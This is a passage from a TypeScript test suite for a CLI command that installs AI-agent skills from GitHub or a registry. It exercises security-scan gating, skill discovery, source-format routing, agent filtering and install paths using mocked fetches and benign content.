  it("shows warning and proceeds when CRITICAL + --force", async () => {
    mockCheckPlatformSecurity.mockResolvedValue({
      hasCritical: true,
      overallVerdict: "FAIL",
      providers: [
        { provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 2 },
      ],
      reportUrl: "/skills/evil-skill/security",
    });

    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    await addCommand("owner/evil-skill", { force: true });

    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("WARNING");
    expect(errorOutput).toContain("CRITICAL");
    expect(errorOutput).toContain("semgrep");

    // Should proceed to tier 1 scan
    expect(mockRunTier1Scan).toHaveBeenCalled();
  });

  it("shows info message and proceeds when scans are PENDING", async () => {
    mockCheckPlatformSecurity.mockResolvedValue({
      hasCritical: false,
      overallVerdict: "PENDING",
      providers: [
        { provider: "semgrep", status: "PENDING", verdict: null, criticalCount: 0 },
      ],
      reportUrl: "/skills/test-skill/security",
    });

    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    await addCommand("owner/test-skill", {});

    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(logOutput).toContain("pending");

    // Should proceed to tier 1 scan
    expect(mockRunTier1Scan).toHaveBeenCalled();
  });

  it("proceeds normally when platform check returns null (network error)", async () => {
    mockCheckPlatformSecurity.mockResolvedValue(null);

    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    await addCommand("owner/safe-skill", {});

    // Should proceed to tier 1 scan without any blocking
    expect(mockRunTier1Scan).toHaveBeenCalled();
  });
});

// ---------------------------------------------------------------------------
// Multi-skill repo discovery + install
// ---------------------------------------------------------------------------

describe("addCommand multi-skill discovery (GitHub path)", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  // TC-007: Multi-skill repo installs all discovered skills
  it("installs all discovered skills from a multi-skill repo", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
      { name: "foo", path: "skills/foo/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/foo/SKILL.md" },
      { name: "bar", path: "skills/bar/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/bar/SKILL.md" },
    ]);

    // Each fetch for individual SKILL.md content succeeds
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo", {});

    // Marketplace detection now retries + raw fallback (3 attempts) + 3 SKILL.md files = 6
    expect(globalThis.fetch).toHaveBeenCalledTimes(6);
    // Should have scanned 3 skills
    expect(mockRunTier1Scan).toHaveBeenCalledTimes(3);
    // Lockfile should have 3 entries
    expect(mockWriteLockfile).toHaveBeenCalled();
    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(Object.keys(lockArg.skills)).toHaveLength(3);
    expect(lockArg.skills).toHaveProperty("repo");
    expect(lockArg.skills).toHaveProperty("foo");
    expect(lockArg.skills).toHaveProperty("bar");
  });

  // TC-008: Single-skill repo behaves identically to before
  it("installs single skill when repo has only root SKILL.md", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
    ]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo", {});

    expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(Object.keys(lockArg.skills)).toHaveLength(1);
    expect(lockArg.skills).toHaveProperty("repo");
  });

  // TC-009: --skill flag bypasses discovery
  it("bypasses discovery when --skill flag is provided", async () => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Specific skill",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo", { skill: "specific" });

    // Discovery should NOT have been called
    expect(mockDiscoverSkills).not.toHaveBeenCalled();
    // Should fetch from skills/specific/SKILL.md
    expect(globalThis.fetch).toHaveBeenCalledWith(
      "https://raw.githubusercontent.com/owner/repo/main/skills/specific/SKILL.md",
      expect.anything(),
    );
  });

  // TC-010: Failed scan for one skill does not block others
  it("skips failed skills and installs the rest", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "good1", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
      { name: "bad", path: "skills/bad/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/bad/SKILL.md" },
      { name: "good2", path: "skills/good2/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/good2/SKILL.md" },
    ]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    // Second scan fails
    mockRunTier1Scan
      .mockReturnValueOnce(makeScanResult())
      .mockReturnValueOnce(makeScanResult({ verdict: "FAIL", score: 10 }))
      .mockReturnValueOnce(makeScanResult());

    await addCommand("owner/repo", {});

    // All 3 scanned, but only 2 installed
    expect(mockRunTier1Scan).toHaveBeenCalledTimes(3);
    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(Object.keys(lockArg.skills)).toHaveLength(2);
    expect(lockArg.skills).toHaveProperty("good1");
    expect(lockArg.skills).toHaveProperty("good2");
    expect(lockArg.skills).not.toHaveProperty("bad");
  });

  // TC-011: Discovery API failure falls back to single-skill install
  it("falls back to single root SKILL.md when discovery returns empty", async () => {
    mockDiscoverSkills.mockResolvedValue([]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Root skill content",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo", {});

    // Should fall back to fetching root SKILL.md directly
    expect(globalThis.fetch).toHaveBeenCalledWith(
      "https://raw.githubusercontent.com/owner/repo/main/SKILL.md",
      expect.anything(),
    );
    expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
  });
});

// ---------------------------------------------------------------------------
// Source format routing — 3-part, URL normalization, edge cases
// ---------------------------------------------------------------------------

describe("addCommand source format routing", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockCheckRepoExists.mockResolvedValue(true);
    mockDiscoverSkills.mockResolvedValue([]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  // TC-017: 3-part format owner/repo/skill routes via discovery then fallback
  it("3-part format uses discovery then falls back to skills/<skill>/SKILL.md", async () => {
    await addCommand("owner/repo/my-skill", {});

    expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
    expect(globalThis.fetch).toHaveBeenCalledWith(
      "https://raw.githubusercontent.com/owner/repo/main/skills/my-skill/SKILL.md",
      expect.anything(),
    );
    expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
  });

  // TC-018: 3-part format writes correct skill name to lockfile
  it("3-part format writes skill name (not repo) to lockfile", async () => {
    await addCommand("owner/repo/my-skill", {});

    expect(mockWriteLockfile).toHaveBeenCalled();
    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(lockArg.skills).toHaveProperty("my-skill");
    expect(lockArg.skills["my-skill"].source).toBe("github:owner/repo");
  });

  // TC-019: 4+ parts falls through to registry lookup (not 3-part)
  it("4-part source falls through to registry lookup", async () => {
    mockGetSkill.mockResolvedValue({ content: "# Skill" });

    await addCommand("a/b/c/d", {});

    // Not treated as 3-part (parts.length === 4, not 3)
    expect(mockDiscoverSkills).not.toHaveBeenCalled();
    // Falls to registry because parts.length !== 2
    expect(mockGetSkill).toHaveBeenCalledWith("a/b/c/d");
  });

  // TC-020: Full GitHub URL normalized to 2-part before routing
  it("GitHub URL normalizes to owner/repo and triggers discovery", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
    ]);

    await addCommand("https://github.com/owner/repo", {});

    expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
  });

  // TC-021: GitHub URL with .git suffix stripped
  it("GitHub URL with .git suffix strips it before routing", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
    ]);

    await addCommand("https://github.com/owner/repo.git", {});

    expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
  });

  // TC-022: No source provided exits with error
  it("exits with error when source is undefined and no flags set", async () => {
    const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
      throw new Error("process.exit");
    });

    await expect(
      addCommand(undefined, {}),
    ).rejects.toThrow("process.exit");

    expect(mockExit).toHaveBeenCalledWith(1);
    mockExit.mockRestore();
  });

  // TC-023: 3-part format with --copy uses copy installer
  it("3-part format with --copy flag uses installCopy", async () => {
    await addCommand("owner/repo/my-skill", { copy: true });

    expect(mockInstallCopy).toHaveBeenCalled();
    expect(mockInstallSymlink).not.toHaveBeenCalled();
  });

  // TC-024: 3-part format with --global installs globally
  it("3-part format with --global flag passes global option", async () => {
    await addCommand("owner/repo/my-skill", { global: true });

    expect(mockInstallSymlink).toHaveBeenCalled();
    const installArgs = mockInstallSymlink.mock.calls[0];
    // installSymlink(skillName, content, agents, { global, projectRoot })
    expect(installArgs[3]).toEqual(expect.objectContaining({ global: true }));
  });

  // TC-025: 2-part + --skill is equivalent to 3-part format
  it("2-part with --skill fetches same URL as 3-part format", async () => {
    const expectedUrl = "https://raw.githubusercontent.com/owner/repo/main/skills/specific/SKILL.md";

    // 2-part with --skill flag
    await addCommand("owner/repo", { skill: "specific" });
    expect(globalThis.fetch).toHaveBeenCalledWith(expectedUrl, expect.anything());

    // Reset fetch mock
    (globalThis.fetch as ReturnType<typeof vi.fn>).mockClear();
    vi.clearAllMocks();
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockCheckRepoExists.mockResolvedValue(true);
    mockDiscoverSkills.mockResolvedValue([]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    // 3-part format
    await addCommand("owner/repo/specific", {});
    expect(globalThis.fetch).toHaveBeenCalledWith(expectedUrl, expect.anything());
  });

  // TC-026: 3-part format shows repo-not-found error when repo does not exist
  it("3-part format shows repo-not-found error when repo does not exist", async () => {
    mockCheckRepoExists.mockResolvedValue(false);
    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("nonexistent-owner/nonexistent-repo/my-skill", {});

    expect(mockExit).toHaveBeenCalledWith(1);
    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("does not exist on GitHub");
    expect(errorOutput).toContain("vskill install my-skill");
    mockExit.mockRestore();
  });

  // TC-027: 2-part with --skill and non-existent repo shows repo-not-found error
  it("2-part with --skill shows repo-not-found error when repo does not exist", async () => {
    mockCheckRepoExists.mockResolvedValue(false);
    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("owner/nonexistent", { skill: "my-skill" });

    expect(mockExit).toHaveBeenCalledWith(1);
    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("does not exist on GitHub");
    mockExit.mockRestore();
  });

  // TC-028: 3-part format uses discovery to find skill in plugins/ path
  it("3-part format uses discovery when skill is in plugins/ path", async () => {
    mockDiscoverSkills.mockResolvedValue([
      {
        name: "scout",
        path: "plugins/skills/skills/scout/SKILL.md",
        rawUrl: "https://raw.githubusercontent.com/anton-abyzov/vskill/main/plugins/skills/skills/scout/SKILL.md",
      },
    ]);

    await addCommand("anton-abyzov/vskill/scout", {});

    expect(mockDiscoverSkills).toHaveBeenCalledWith("anton-abyzov", "vskill");
    expect(globalThis.fetch).toHaveBeenCalledWith(
      "https://raw.githubusercontent.com/anton-abyzov/vskill/main/plugins/skills/skills/scout/SKILL.md",
      expect.anything(),
    );
  });

  // TC-029: 3-part format falls back to hardcoded path when discovery finds no match
  it("3-part format falls back to skills/<skill>/SKILL.md when discovery finds no match", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "other-skill", path: "skills/other-skill/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/other-skill/SKILL.md" },
    ]);

    await addCommand("owner/repo/my-skill", {});

    expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
    expect(globalThis.fetch).toHaveBeenCalledWith(
      "https://raw.githubusercontent.com/owner/repo/main/skills/my-skill/SKILL.md",
      expect.anything(),
    );
  });

  // TC-030: 3-part format falls back when discovery returns empty array
  it("3-part format falls back to hardcoded path when discovery returns empty array", async () => {
    mockDiscoverSkills.mockResolvedValue([]);

    await addCommand("owner/repo/my-skill", {});

    expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
    expect(globalThis.fetch).toHaveBeenCalledWith(
      "https://raw.githubusercontent.com/owner/repo/main/skills/my-skill/SKILL.md",
      expect.anything(),
    );
  });
});

// ---------------------------------------------------------------------------
// Registry install (installFromRegistry) — no slash in source
// ---------------------------------------------------------------------------

describe("addCommand registry install (no slash in source)", () => {
  beforeEach(() => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  it("installs a skill when registry returns content", async () => {
    mockGetSkill.mockResolvedValue({
      name: "my-skill",
      author: "alice",
      tier: "VERIFIED",
      score: 90,
      version: "1.0.0",
      sha: "",
      description: "A skill",
      content: "# My Skill\nDoes great things.",
      installs: 5,
      updatedAt: "2026-01-01T00:00:00Z",
    });

    await addCommand("my-skill", {});

    expect(mockGetSkill).toHaveBeenCalledWith("my-skill");
    expect(mockRunTier1Scan).toHaveBeenCalledWith("# My Skill\nDoes great things.");
    expect(mockWriteFileSync).toHaveBeenCalledWith(
      expect.stringContaining("my-skill"),
      expect.stringContaining("name: my-skill"),
      "utf-8"
    );
    expect(mockWriteLockfile).toHaveBeenCalledWith(
      expect.objectContaining({
        skills: expect.objectContaining({
          "my-skill": expect.objectContaining({ source: "registry:my-skill" }),
        }),
      }),
      expect.any(String),
    );
  });

  it("exits with error when skill is not in registry", async () => {
    mockGetSkill.mockRejectedValue(new Error("API request failed: 404 Not Found"));
    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("nonexistent-skill", {});

    expect(mockExit).toHaveBeenCalledWith(1);
    mockExit.mockRestore();
  });

  it("falls back to GitHub install via repoUrl when content is missing", async () => {
    mockGetSkill.mockResolvedValue({
      name: "remotion-dev-skills-remotion",
      author: "remotion-dev",
      tier: "VERIFIED",
      score: 100,
      version: "1.0.0",
      sha: "",
      description: "Remotion skill",
      content: undefined,
      installs: 0,
      updatedAt: "2026-02-20T00:00:00Z",
      repoUrl: "https://github.com/remotion-dev/skills",
    });

    // After fallback, addCommand calls discoverSkills("remotion-dev", "skills")
    mockDiscoverSkills.mockResolvedValue([
      { name: "remotion", path: "skills/remotion/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/remotion/SKILL.md" },
    ]);
    // Then fetches the skill content from GitHub
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Remotion skill content",
    }) as unknown as typeof fetch;

    await addCommand("remotion-dev-skills-remotion", {});

    expect(mockDiscoverSkills).toHaveBeenCalledWith("remotion-dev", "skills");
    // installOneGitHubSkill now uses canonical installer
    expect(mockInstallSymlink).toHaveBeenCalled();
  });

  it("falls back to GitHub install via author/skillName when repoUrl is absent", async () => {
    mockGetSkill.mockResolvedValue({
      name: "some-skill",
      author: "bob",
      tier: "VERIFIED",
      score: 50,
      version: "0.1.0",
      sha: "",
      description: "",
      content: undefined,
      installs: 0,
      updatedAt: "2026-01-01T00:00:00Z",
    });

    // Fallback uses author/skillName → discoverSkills("bob", "some-skill")
    mockDiscoverSkills.mockResolvedValue([]);
    // Discovery empty → falls back to root SKILL.md fetch
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Some skill",
    }) as unknown as typeof fetch;

    await addCommand("some-skill", {});

    expect(mockDiscoverSkills).toHaveBeenCalledWith("bob", "some-skill");
    expect(mockRunTier1Scan).toHaveBeenCalled();
  });

  it("exits when no content, no repoUrl, and no author", async () => {
    mockGetSkill.mockResolvedValue({
      name: "",
      author: "",
      tier: "VERIFIED",
      score: 0,
      version: "0.0.0",
      sha: "",
      description: "",
      content: undefined,
      installs: 0,
      updatedAt: "",
    });
    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("mystery-skill", {});

    expect(mockExit).toHaveBeenCalledWith(1);
    mockExit.mockRestore();
  });
});

// ---------------------------------------------------------------------------
// T-012 through T-015: Smart project root and agent filter integration
// ---------------------------------------------------------------------------

describe("addCommand smart project root resolution", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  // TC-012: Project scope always uses process.cwd() — no walk-up
  it("installs skill relative to process.cwd() regardless of findProjectRoot result", async () => {
    const cwd = "/home/user/project/subdir";
    const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
    mockFindProjectRoot.mockReturnValue("/home/user/project");

    await addCommand("owner/safe-repo", {});

    expect(mockInstallSymlink).toHaveBeenCalled();
    const callArgs = mockInstallSymlink.mock.calls[0];
    expect(callArgs[3].projectRoot).toBe(cwd);

    cwdSpy.mockRestore();
  });
});

describe("addCommand --agent filter", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  // TC-014: --agent filters to specific agent
  it("installs only to the filtered agent when --agent is provided", async () => {
    const claude = makeAgent({ id: "claude-code", displayName: "Claude Code" });
    const cursor = makeAgent({
      id: "cursor",
      displayName: "Cursor",
      localSkillsDir: ".cursor/skills",
      globalSkillsDir: "~/.cursor/skills",
    });

    mockDetectInstalledAgents.mockResolvedValue([claude, cursor]);
    // filterAgents returns only claude when agent=["claude-code"]
    mockFilterAgents.mockReturnValue([claude]);

    await addCommand("owner/safe-repo", { agent: ["claude-code"] });

    // filterAgents should have been called with both agents and the filter
    expect(mockFilterAgents).toHaveBeenCalledWith(
      [claude, cursor],
      ["claude-code"],
    );

    // Canonical installer called with only the filtered agent
    expect(mockInstallSymlink).toHaveBeenCalled();
    const agents = mockInstallSymlink.mock.calls[0][2]; // 3rd arg = agents array
    expect(agents).toHaveLength(1);
    expect(agents[0].id).toBe("claude-code");
  });

  // TC-015: --agent with invalid ID shows error
  it("exits with error when --agent specifies unknown ID", async () => {
    const claude = makeAgent();
    mockDetectInstalledAgents.mockResolvedValue([claude]);
    mockFilterAgents.mockImplementation(() => {
      throw new Error("Unknown agent(s): nonexistent. Available: claude-code");
    });
    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);
    const mockConsoleError = vi.spyOn(console, "error").mockImplementation(() => {});

    await addCommand("owner/safe-repo", { agent: ["nonexistent"] });

    expect(mockExit).toHaveBeenCalledWith(1);
    // Should NOT have written any files
    expect(mockWriteFileSync).not.toHaveBeenCalled();

    mockExit.mockRestore();
    mockConsoleError.mockRestore();
  });
});

// ---------------------------------------------------------------------------
// TC-016: Nested directory bug — running install from inside agent base dir
// ---------------------------------------------------------------------------

describe("addCommand nested directory fix (TC-016)", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  // TC-016a: cwd is agent base dir → canonical installer receives correct projectRoot
  it("does not create nested agent dir when projectRoot ends with agent base folder", async () => {
    // Simulate running `vskill install` from inside ~/.openclaw/
    const agentBaseDir = "/home/user/.openclaw";
    const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(agentBaseDir);
    mockFindProjectRoot.mockReturnValue(agentBaseDir);

    const openclaw = makeAgent({
      id: "openclaw",
      displayName: "OpenClaw",
      localSkillsDir: "skills",
      globalSkillsDir: "~/.openclaw/skills",
    });
    mockDetectInstalledAgents.mockResolvedValue([openclaw]);

    await addCommand("owner/safe-repo", {});

    // Canonical installer receives projectRoot = cwd (agentBaseDir)
    // With localSkillsDir: "skills", the resolved path is /home/user/.openclaw/skills (no double nesting)
    expect(mockInstallSymlink).toHaveBeenCalled();
    const installOpts = mockInstallSymlink.mock.calls[0][3];
    expect(installOpts.projectRoot).toBe(agentBaseDir);

    cwdSpy.mockRestore();
  });

  // TC-016b: --cwd flag uses process.cwd() directly as projectRoot
  it("does not create nested agent dir when --cwd and cwd is agent base dir", async () => {
    // Spy on process.cwd() to return the agent base dir
    const agentBaseDir = "/home/user/.openclaw";
    const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(agentBaseDir);

    const openclaw = makeAgent({
      id: "openclaw",
      displayName: "OpenClaw",
      localSkillsDir: "skills",
      globalSkillsDir: "~/.openclaw/skills",
    });
    mockDetectInstalledAgents.mockResolvedValue([openclaw]);

    await addCommand("owner/safe-repo", { cwd: true });

    // projectRoot should be process.cwd() directly
    expect(mockInstallSymlink).toHaveBeenCalled();
    const installOpts = mockInstallSymlink.mock.calls[0][3];
    expect(installOpts.projectRoot).toBe(agentBaseDir);

    cwdSpy.mockRestore();
  });
});

// ---------------------------------------------------------------------------
// --repo flag tests
// ---------------------------------------------------------------------------

describe("addCommand with --repo flag (remote plugin install)", () => {
  const originalFetch = globalThis.fetch;

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  const marketplaceJson = JSON.stringify({
    name: "vskill",
    version: "1.0.0",
    plugins: [
      { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
      { name: "backend", source: "./plugins/backend", version: "1.0.0" },
    ],
  });

  function setupHappyPath() {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockFindProjectRoot.mockReturnValue("/project");
    mockExistsSync.mockReturnValue(false);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    // Mock fetch to respond differently based on URL
    globalThis.fetch = vi.fn().mockImplementation(async (url: string) => {
      // Marketplace manifest
      if (url.includes("marketplace.json")) {
        return { ok: true, text: async () => marketplaceJson, json: async () => JSON.parse(marketplaceJson) };
      }
      // GitHub Contents API: skills directory
      if (url.includes("/contents/plugins/frontend/skills")) {
        return {
          ok: true,
          json: async () => [
            { name: "nextjs", type: "dir" },
            { name: "react", type: "dir" },
          ],
        };
      }
      // GitHub Contents API: commands directory
      if (url.includes("/contents/plugins/frontend/commands")) {
        return {
          ok: true,
          json: async () => [
            { name: "scaffold.md", type: "file" },
          ],
        };
      }
      // Raw content: SKILL.md files
      if (url.includes("/skills/nextjs/SKILL.md")) {
        return { ok: true, text: async () => "# Next.js Skill\nFrontend framework" };
      }
      if (url.includes("/skills/react/SKILL.md")) {
        return { ok: true, text: async () => "# React Skill\nUI library" };
      }
      // Raw content: command files
      if (url.includes("/commands/scaffold.md")) {
        return { ok: true, text: async () => "# Scaffold\nGenerate project" };
      }
      return { ok: false };
    }) as unknown as typeof fetch;
  }

  it("installs skills and commands with plugin namespace prefix", async () => {
    setupHappyPath();

    await addCommand("ignored-source", { repo: "anton-abyzov/vskill", plugin: "frontend" });

    // Should have fetched marketplace + skills dir + commands dir + 3 content files = 6 calls
    expect(globalThis.fetch).toHaveBeenCalled();

    // Should write SKILL.md files under {plugin-name}/{skill-name}/SKILL.md
    const writeCalls = mockWriteFileSync.mock.calls as [string, string][];
    const skillPaths = writeCalls.filter(([p]) => p.includes("SKILL.md")).map(([p]) => p);
    expect(skillPaths.length).toBe(2);

    // Paths should contain frontend/nextjs/SKILL.md and frontend/react/SKILL.md
    expect(skillPaths.some(p => p.includes("/frontend/nextjs/SKILL.md"))).toBe(true);
    expect(skillPaths.some(p => p.includes("/frontend/react/SKILL.md"))).toBe(true);

    // Should also write the command file
    const cmdPaths = writeCalls.filter(([p]) => p.includes("scaffold.md")).map(([p]) => p);
    expect(cmdPaths.length).toBe(1);
    expect(cmdPaths[0]).toContain("/frontend/");
  });

  it("writes lockfile with github source format", async () => {
    setupHappyPath();

    await addCommand("ignored-source", { repo: "anton-abyzov/vskill", plugin: "frontend" });

    expect(mockWriteLockfile).toHaveBeenCalled();
    const lock = mockWriteLockfile.mock.calls[0][0];
    expect(lock.skills.frontend).toBeDefined();
    expect(lock.skills.frontend.source).toBe("github:anton-abyzov/vskill#plugin:frontend");
    expect(lock.skills.frontend.version).toBe("1.0.0");
  });

  it("exits with error for invalid --repo format", async () => {
    const exitSpy = vi.spyOn(process, "exit").mockImplementation(() => { throw new Error("exit"); });

    try {
      await addCommand("ignored", { repo: "noslash", plugin: "frontend" });
    } catch { /* expected */ }

    expect(exitSpy).toHaveBeenCalledWith(1);
    exitSpy.mockRestore();
  });

  it("falls back to folder probe when plugin not in marketplace.json", async () => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockFindProjectRoot.mockReturnValue("/project");
    mockExistsSync.mockReturnValue(false);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    // Marketplace only has "backend", NOT "unlisted"
    const noUnlistedMarketplace = JSON.stringify({
      name: "vskill",
      version: "1.0.0",
